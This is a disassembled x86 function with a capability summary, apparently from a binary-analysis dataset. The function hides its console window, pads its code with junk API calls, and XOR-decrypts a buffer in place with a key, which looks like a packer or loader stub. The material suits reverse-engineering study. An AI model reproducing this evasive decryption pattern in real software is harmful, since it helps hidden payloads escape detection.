Function at 0x402610
Capabilities:
Get file attributes
Get memory capacity
Hide graphical window
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51df10
mov eax, dword fs:[0]
push eax
sub esp, 0x9c
mov eax, dword [0x569600]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
add dword [ebx], 0xffffff9b
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0x40
push 0x53
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push str.._jQ
push str.._C
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebx]
push ecx
call fcn.004049d1
add esp, 4
mov dword [ebp - 0xa8], eax
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
lea edx, [ebp - 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, dword [ebx]
mov edx, dword [edi]
mov eax, dword [ebp - 0xa8]
push ecx
add edx, 0x65
push edx
push eax
call fcn.00500370
add esp, 0xc
push str.eF
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov eax, dword [edi]
push eax
call fcn.004049c6
add esp, 4
push 0x54af6c
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov ecx, dword [ebp - 0xa8]
mov dword [edi], ecx
call dword [sym.imp.KERNEL32.dll_GetACP]
push str.._TTl
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push str.._dbk
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea edx, [ebp - 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, dword [edi]
mov ecx, 0xf
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], 0
mov byte [ebp - 0x48], 0
mov edx, dword [eax + 0x250]
mov dword [ebp - 0x48], edx
mov edx, dword [eax + 0x254]
mov dword [ebp - 0x44], edx
mov eax, dword [eax + 0x258]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x38], 0xc
cmp ecx, 0x10
jae 0x402796
lea eax, [ebp - 0x48]
mov byte [eax + 0xc], 0
push 0
push 0x143b
push 0x49
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push str.._H82
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], 0xa
mov eax, dword [edi]
push 0
push 0x20
lea ecx, [ebp - 0x2c]
add eax, 0x3903
push ecx
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
call fcn.00401340
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4027f6
lea eax, [ebp - 0x2c]
mov edx, dword [ebp - 0xa8]
push 0x20
push edx
push eax
call fcn.00500370
mov eax, dword [ebp - 0x2c]
add esp, 0xc
cmp dword [ebp - 0x18], 0x10
mov dword [ebp - 0x1c], 0x20
jae 0x40281b
lea eax, [ebp - 0x2c]
mov byte [eax + 0x20], 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x84]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
lea ecx, [ebp - 0xa4]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
push ecx
mov dword [ebp - 4], 0xd
call fcn.00401500
add esp, 0xc
push 4
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 1
push 0x207
push 0x34f
push 0x371
push 0x356
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push 1
push 0x277
push 0x242
push 0x3ce
push 0x37c
call esi
push eax
call dword [sym.imp.USER32.dll_MoveWindow]
push 0
push str.._GBo
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor ecx, ecx
cmp dword [ebx], ecx
jbe 0x402914
jmp 0x4028c0
cmp ecx, 0x250
jb 0x4028d0
cmp ecx, 0x25c
jb 0x40290f
cmp ecx, 0x3903
jb 0x4028e0
cmp ecx, 0x3923
jb 0x40290f
cmp dword [ebp - 0x50], 0x10
jb 0x4028f1
mov edx, dword [ebp - 0x64]
mov dword [ebp - 0xa8], edx
jmp 0x4028fa
lea eax, [ebp - 0x64]
mov dword [ebp - 0xa8], eax
xor edx, edx
mov eax, ecx
div dword [ebp - 0x54]
mov eax, dword [ebp - 0xa8]
mov esi, dword [edi]
mov dl, byte [edx + eax]
xor byte [esi + ecx], dl
inc ecx
cmp ecx, dword [ebx]
jb 0x4028c0
mov esi, 0x10
cmp dword [ebp - 0x50], esi
jb 0x40292a
mov eax, dword [ebp - 0x64]
push eax
call fcn.004049c6
add esp, 4
xor edi, edi
mov ebx, 0xf
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x54], edi
mov byte [ebp - 0x64], 0
cmp dword [ebp - 0x18], esi
jb 0x40294c
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.004049c6
add esp, 4
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x2c], 0
cmp dword [ebp - 0x34], esi
jb 0x402967
mov edx, dword [ebp - 0x48]
push edx
call fcn.004049c6
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004fbd04
mov esp, ebp
pop ebp
ret